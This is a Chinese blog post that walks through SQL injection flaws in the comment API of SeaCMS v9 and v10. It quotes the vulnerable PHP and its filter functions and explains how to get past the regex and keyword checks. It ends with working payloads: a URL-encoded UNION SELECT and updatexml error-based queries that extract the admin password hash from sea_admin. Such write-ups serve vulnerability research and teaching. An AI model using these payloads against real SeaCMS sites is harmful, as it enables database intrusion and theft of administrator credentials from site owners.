详解seacmsv9和seacmsv10的漏洞原理及利用

一.seacmsv

目录

一.seacmsv10漏洞

1.代码分析

1.1index.php代码如下:

1.2ReadData()函数

1.3Readmlist()函数

1.4Readrlist()函数

1.5SetQuery()函数

1.6Execute()函数

1.7CheckSql()函数

2.整个漏洞的利用链

3.分析绕过方式

3.1分析正则

3.2最终的payload

4.调试分析sql语句

4.1逐步调试

4.2最终结果

二.seacmsv9漏洞

1.代码对比v10

1.1Readmlist()函数

1.2CheckSql()函数

2.分析思路

3.最终结果

3.1报错注入

3.2联合查询

三.错误点

1.v9无法爆出信息

2.考虑使用双引号


10漏洞

1.代码分析

漏洞文件:`./comment/api/index.php`,漏洞参数:`$rlist`

1.1index.php代码如下:
<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{
	if(file_exists($jsoncachefile))
	{
		$json=LoadFile($jsoncachefile);
		die($json);
	}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
	createTextFile($h,$jsoncachefile);
}
die($h);	


function ReadData($id,$page)
{
	global $type,$pCount,$rlist;
	$ret = array("","",$page,0,10,$type,$id);
	if($id>0)
	{
		$ret[0] = Readmlist($id,$page,$ret[4]);
		$ret[3] = $pCount;
		$x = implode(',',$rlist);
		if(!empty($x))
		{
		$ret[1] = Readrlist($x,1,10000);
		}
	}	
	$readData = FormatJson($ret);
	return $readData;
}

function Readmlist($id,$page,$size)
{
	global $dsql,$type,$pCount,$rlist;
	
	$rlist = str_ireplace('@', "", $rlist);	

	$rlist = str_ireplace('/*', "", $rlist);
	
	$rlist = str_ireplace('*/', "", $rlist);
	
	$rlist = str_ireplace('*!', "", $rlist);
	$ml=array();
	if($id>0)
	{
		$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id AND ischeck=1 ORDER BY id DESC";
		$rs = $dsql ->GetOne($sqlCount);
		$pCount = ceil($rs['dd']/$size);
		$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id AND ischeck=1 ORDER BY id DESC limit ".($page-1)*$size.",$size ";
		$dsql->setQuery($sql);
		$dsql->Execute('commentmlist');
		while($row=$dsql->GetArray('commentmlist'))
		{
			$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
			$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
		}
	}
	$readmlist=join($ml,",");
	return $readmlist;
}

function Readrlist($ids,$page,$size)
{
	global $dsql,$type;
	$rl=array();
	$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) AND ischeck=1 ORDER BY id DESC";
	$dsql->setQuery($sql);
	$dsql->Execute('commentrlist');
	while($row=$dsql->GetArray('commentrlist'))
	{
		$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
	}
	$readrlist=join($rl,",");
	return $readrlist;
}

function ReadReplyID($gid,$cmid,&$rlist)
{
	global $dsql;
	$rlist = str_ireplace('@', "", $rlist);	
	$rlist = str_ireplace('/*', "", $rlist);
	$rlist = str_ireplace('*/', "", $rlist);
	$rlist = str_ireplace('*!', "", $rlist);
	if($cmid>0)
	{
		if(!in_array($cmid,$rlist))$rlist[]=$cmid;
		$row = $dsql->GetOne("SELECT reply FROM sea_comment WHERE id=$cmid limit 0,1");
		if(is_array($row))
		{
			$ReplyID = ",".$row['reply'].ReadReplyID($gid,$row['reply'],$rlist);
		}else
		{
			$ReplyID = "";
		}
	}else
	{
		$ReplyID = "";
	}
	return $ReplyID;
}

function FormatJson($json)
{
	$x = "{\"mlist\":[%0%],\"rlist\":{%1%},\"page\":{\"page\":%2%,\"count\":%3%,\"size\":%4%,\"type\":%5%,\"id\":%6%}}";
	for($i=6;$i>=0;$i--)
	{
		$x=str_replace("%".$i."%",$json[$i],$x);
	}
	$formatJson = jsonescape($x);
	return $formatJson;
}

function jsonescape($txt)
{
	$jsonescape=str_replace(chr(13),"",str_replace(chr(10),"",json_decode(str_replace("%u","\u",json_encode("".$txt)))));
	return $jsonescape;
}

首先引入了require_once("../../include/common.php");外部文件,该文件有引入require_once('webscan/webscan.php');  webscan.php文件与漏洞相关的是通过正则检查get方式提交的参数,所以,首先要绕过这个正则检查,这里先按下不表。

关键点:绕过正则表达式。

$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

preg_match("/".$ArrFiltReq."/is",$StrFiltValue)
//$ArrFiltReq是对应的正则表达式
//$StrFiltValue是对应的传进来的参数值

接下来返回到./comment/api/index.php 中,执行ReadData()函数

1.2ReadData()函数
function ReadData($id,$page)
{
	global $type,$pCount,$rlist;
	$ret = array("","",$page,0,10,$type,$id);
	if($id>0)
	{
		$ret[0] = Readmlist($id,$page,$ret[4]);
		$ret[3] = $pCount;
		$x = implode(',',$rlist);
		if(!empty($x))
		{
		$ret[1] = Readrlist($x,1,10000);
		}
	}	
	$readData = FormatJson($ret);
	return $readData;
}

在ReadData()函数会执行两个函数Readmlist()和Readrlist(),Readmlist()会过滤一次特殊符号,Readrlist()函数会执行我们从前端传来参数的sql语句。implode()函数是将数组中的各个元素整合为一个字符串,而$rilst中只有一个数组,所以$x是与$rilst等价的。

$rlist中只有一个数组元素

1.3Readmlist()函数
function Readmlist($id,$page,$size)
{
	global $dsql,$type,$pCount,$rlist;
	
	$rlist = str_ireplace('@', "", $rlist);	
	$rlist = str_ireplace('/*', "", $rlist);
	$rlist = str_ireplace('*/', "", $rlist);
	$rlist = str_ireplace('*!', "", $rlist);
	$ml=array();
	if($id>0)
	{
		$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id AND ischeck=1 ORDER BY id DESC";
		$rs = $dsql ->GetOne($sqlCount);
		$pCount = ceil($rs['dd']/$size);
		$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id AND ischeck=1 ORDER BY id DESC limit ".($page-1)*$size.",$size ";
		$dsql->setQuery($sql);
		$dsql->Execute('commentmlist');
		while($row=$dsql->GetArray('commentmlist'))
		{
			$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
			$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
		}
	}
	$readmlist=join($ml,",");
	return $readmlist;
}

关键点:将@, /*, */, *!这些符号替换为空。之后的操作不会影响$rlist的值。

1.4Readrlist()函数
function Readrlist($ids,$page,$size)
{
	global $dsql,$type;
	$rl=array();
	$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) AND ischeck=1 ORDER BY id DESC";
	$dsql->setQuery($sql);
	$dsql->Execute('commentrlist');
	while($row=$dsql->GetArray('commentrlist'))
	{
		$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
	}
	$readrlist=join($rl,",");
	return $readrlist;
}

$ids的值是$rilst,所以注入点也就是在$ids处。Readlist会执行两个函数SetQuery()和Execute(),重点在Execute()函数中。

1.5SetQuery()函数
//设置SQL语句,会自动把SQL语句里的sea_替换为$this->dbPrefix(在配置文件中为$cfg_dbprefix)
	function SetQuery($sql)
	{
		$prefix="sea_";
		$sql = str_replace($prefix,$this->dbPrefix,$sql);
		$this->queryString = $sql;
	}

这里做一个字符串替换,但是dbPrefix中的值也是sea_,所以相当于没有改动。

1.6Execute()函数
//执行一个带返回结果的SQL语句,如SELECT,SHOW等
	function Execute($id="me", $sql='')
	{
		global $dsql;
		self::$i++;
		if($dsql->isClose)
		{
			$this->Open(false);
			$dsql->isClose = false;
		}
		if(!empty($sql))
		{
			$this->SetQuery($sql);
		}

		//SQL语句安全检查
		if($this->safeCheck)
		{
			CheckSql($this->queryString);
		}
    
    $t1 = ExecTime();
		
		$this->result[$id] = mysqli_query($this->linkID,$this->queryString);
		
		//查询性能测试
		//$queryTime = ExecTime() - $t1;
		//if($queryTime > 0.05) {
			//echo $this->queryString."--{$queryTime}<hr />\r\n"; 
		//}
		
		if($this->result[$id]===false)
		{
			$this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");
		}
	}

在Execute()函数中,执行CheckSql()函数,这个函数是最后一次检查sql语句,若sql语句没有问题,则会执行sql。

1.7CheckSql()函数
//SQL语句过滤程序,由80sec提供,这里作了适当的修改
function CheckSql($db_string,$querytype='select')
{
	global $cfg_cookie_encode;
	$clean = '';
	$error='';
	$old_pos = 0;
	$pos = -1;
	$log_file = sea_INC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
	$userIP = GetIP();
	$getUrl = GetCurUrl();	
	$db_string = str_ireplace('--', "", $db_string);
	$db_string = str_ireplace('/*', "", $db_string);
	$db_string = str_ireplace('*/', "", $db_string);
	$db_string = str_ireplace('*!', "", $db_string);
	$db_string = str_ireplace('//', "", $db_string);
	$db_string = str_ireplace('\\', "", $db_string);
	$db_string = str_ireplace('hex', "he", $db_string);	
	$db_string = str_ireplace('updatexml', "updatexm", $db_string);
	$db_string = str_ireplace('extractvalue', "extractvalu", $db_string);
	$db_string = str_ireplace('benchmark', "benchmar", $db_string);
	$db_string = str_ireplace('sleep', "slee", $db_string);
	$db_string = str_ireplace('load_file', "load-file", $db_string);
	$db_string = str_ireplace('outfile', "out-file", $db_string);
	$db_string = str_ireplace('ascii', "asci", $db_string);	
	$db_string = str_ireplace('char(', "cha", $db_string);	
	$db_string = str_ireplace('substr', "subst", $db_string);
	$db_string = str_ireplace('substring', "substrin", $db_string);
	$db_string = str_ireplace('script', "scrip", $db_string);
	$db_string = str_ireplace('frame', "fram", $db_string);
	$db_string = str_ireplace('information_schema', "information-schema", $db_string);
	$db_string = str_ireplace('exp', "ex", $db_string);
	$db_string = str_ireplace('GeometryCollection', "GeometryCollectio", $db_string);
	$db_string = str_ireplace('polygon', "polygo", $db_string);
	$db_string = str_ireplace('multipoint', "multipoin", $db_string);
	$db_string = str_ireplace('multilinestring', "multilinestrin", $db_string);
	$db_string = str_ireplace('linestring', "linestrin", $db_string);
	$db_string = str_ireplace('multipolygon', "multipolygo", $db_string);	

	//如果是普通查询语句,直接过滤一些特殊语法
	if($querytype=='select')
	{
		$notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";

		//$notallow2 = "--|/\*";
		if(m_eregi($notallow1,$db_string)){exit('SQL check');}
		if(m_eregi('<script',$db_string)){exit('SQL check');}
		if(m_eregi('/script',$db_string)){exit('SQL check');}
		if(m_eregi('script>',$db_string)){exit('SQL check');}
		if(m_eregi('if:',$db_string)){exit('SQL check');}
		if(m_eregi('--',$db_string)){exit('SQL check');}
		if(m_eregi('char(',$db_string)){exit('SQL check');}
		if(m_eregi('*/',$db_string)){exit('SQL check');}
	}

	//完整的SQL检查
	while (true)
	{
		$pos = stripos($db_string, '\'', $pos + 1);
		if ($pos === false)
		{
			break;
		}
		$clean .= substr($db_string, $old_pos, $pos - $old_pos);
		while (true)
		{
			$pos1 = stripos($db_string, '\'', $pos + 1);
			$pos2 = stripos($db_string, '\\', $pos + 1);
			if ($pos1 === false)
			{
				break;
			}
			elseif ($pos2 == false || $pos2 > $pos1)
			{
				$pos = $pos1;
				break;
			}
			$pos = $pos2 + 1;
		}
		$clean .= '$s$';
		$old_pos = $pos + 1;
	}
	$clean .= substr($db_string, $old_pos);
	$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

	if (stripos($clean, '@') !== FALSE  OR stripos($clean,'char(')!== FALSE  OR stripos($clean,'script>')!== FALSE   OR stripos($clean,'<script')!== FALSE  OR stripos($clean,'"')!== FALSE OR stripos($clean,'$s$$s$')!== FALSE)
        {
            $fail = TRUE;
            if(preg_match("#^create table#i",$clean)) $fail = FALSE;
            $error="unusual character";
        }
	//老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
	if (stripos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
	{
		$fail = true;
		$error="union detect";
	}

	//发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
	elseif (stripos($clean, '/*') > 2 || stripos($clean, '--') !== false || stripos($clean, '#') !== false)
	{
		$fail = true;
		$error="comment detect";
	}

	//这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
	elseif (stripos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
	{
		$fail = true;
		$error="sleep detect";
	}
	elseif (stripos($clean, 'updatexml') !== false && preg_match('~(^|[^a-z])updatexml($|[^[a-z])~s', $clean) != 0)
	{
		$fail = true;
		$error="updatexml  detect";
	}
	elseif (stripos($clean, 'extractvalue') !== false && preg_match('~(^|[^a-z])extractvalue($|[^[a-z])~s', $clean) != 0)
	{
		$fail = true;
		$error="extractvalue  detect";
	}
	elseif (stripos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
	{
		$fail = true;
		$error="benchmark detect";
	}
	elseif (stripos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
	{
		$fail = true;
		$error="file fun detect";
	}
	elseif (stripos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
	{
		$fail = true;
		$error="file fun detect";
	}

	//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
	elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
	{
		$fail = true;
		$error="sub select detect";
	}
	if (!empty($fail))
	{
		fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
		exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
	}
	else
	{

		return $db_string;
	}
}

str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。

代码解释:这段代码首先使用str_ireplace()函数,替换了一些特殊符号和关键字(可以用双写绕过);然后在接下来的if语句中查看是否有特定的mysql关键字(没有不区分大小写,关键字可以用大小写绕过);在while循环中,将所有单引号中的值替换为$s$并赋值给$clean;最后在多个if语句中使用stripos() 函数来判断是否有mysql中的关键字。

关键点一:由于在while循环中,会将所有单引号中的值替换为$s$,所以我们要将sql注入语句包裹在单引号中,在最后的if语句中就不会检测出有关键词。而单引号会导致sql语句报错,所以我们要让单引号在sql语句中失效,第一个引号用注释符/**/的方式,第二个引号直接单行注释即可。

关键点二:如果CheckSql()函数对sql语句检查无误,就会执行之前没有经过过滤的sql语句,那么这一层的过滤就是无效的,过滤后的注释符会重新回到sql语句中,这也是这个漏洞的关键所在。

2.整个漏洞的利用链

如图:

3.分析绕过方式

3.1分析正则

首先我们要绕过最开始的正则表达式,其中payload最终要利用注释符(包裹单引号)以及联合查询,所以分析三处正则

 正则所用修饰符(不区分大小写,且.号包含空格)

preg_match("/".$getfilter."/is",$StrFiltValue);

1.注释符正则

\\/\\*.*\\*\\/

 在Readmlist()中会过滤一次@符,所以可以用@来破坏注释符的完整性,但还会过滤一次注释符,所以需要双写注释符。同理也可以用*!来绕过,但是*!是在/**/后过滤的,所以后一个注释符不用双写。

如:

//**'**@// //@**'**//  //**'**!/ 

这三者都行

2.unino select 正则

UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)

由于正则的修饰符用了s,所以前面union.+?select这里用%23%0a绕不过,后面的一长串正则不能匹配%23%0a,所以在后面用%23%0a绕过。

3.select from 正则

(SELECT|DELETE)@{0,2}(\(.+\)|\s+?.+?\s+?|(`|'|\").*?(`|'|\"))FROM(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))

select和from之间没有用.+?,直接%23%0a绕过。

3.2最终的payload
//**%27**@//%20UNION%20SELECT%23%0a1,password,3,4,5,6,7,8,9,10,11%23%0afrom%23%0asea_admin--%20%27

4.调试分析sql语句

4.1逐步调试

这里用的sql语句有所不同,但道理一样。

1.最初进入程序的sql语句

 2.经过Readmlist()过滤一次后的sql语句(注释符和@符号被过滤了)

3.刚进入CheckSql()的sql语句(与第二个sql一致)

4.在CheckSql()做完过滤后的sql语句(过滤一次注释符/**/)

5.截取引号后$clean值(只剩一个反引号在外面)

4.2最终结果

解密md5

二.seacmsv9漏洞

1.代码对比v10

1.1Readmlist()函数

缺少了对@, /*, */, *!这些符号的过滤

1.2CheckSql()函数

缺少了对大量关键字和符号的过滤

2.分析思路

由于在CheckSql()中没有过滤关键字和特殊字符,所以不能在使用注释符来包裹单引号了,因为在CheckSql()替换单引号中间的值后,会经过多轮if判断来检查关键字,这时注释符会被检测出来(在单引号前的不会被$s$替换),这时需要考虑多轮检测不检测什么值,且能使单引号在sql语句中不生效。

关键点:在mysql中可以使用@来自定义变量,设置如图所示的变量,用反引号包裹单引号,可以使得单引号不生效。

如果在后面的多轮if中,添加了检查@和反引号,则此方法失效(在v10的版本中新增了检查@)

3.最终结果

3.1报错注入

不闭合括号,在括号里面报错注入

最终在数据库执行的sql语句:

SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (@`\'`, updatexml (1,concat_ws(0x20,0x5c,(select password from#
sea_admin limit 0,1)),1), @`\'`) ORDER BY id DESC

3.2联合查询

闭合括号,使用等式来引入引号,再联合查询

最终在数据库执行的sql语句:

SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (-1) and @`\'`=1 unIoN-- 
SELECT#
1,2,3,4,5,6,7,8,9,10,password#
from#
sea_admin-- \') ORDER BY id DESC

三.错误点

1.v9无法爆出信息

使用5.6版本以上的php,在v9版本中报错信息无法出现,是由于v9中的sql语言使用的是mysql而不是mysqli,mysql已经被高版本舍弃了。

2.考虑使用双引号

v9版本双引号包裹单引号绕过过滤

不行,双引号会被提前加上转义字符,使得整个字符不合法。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值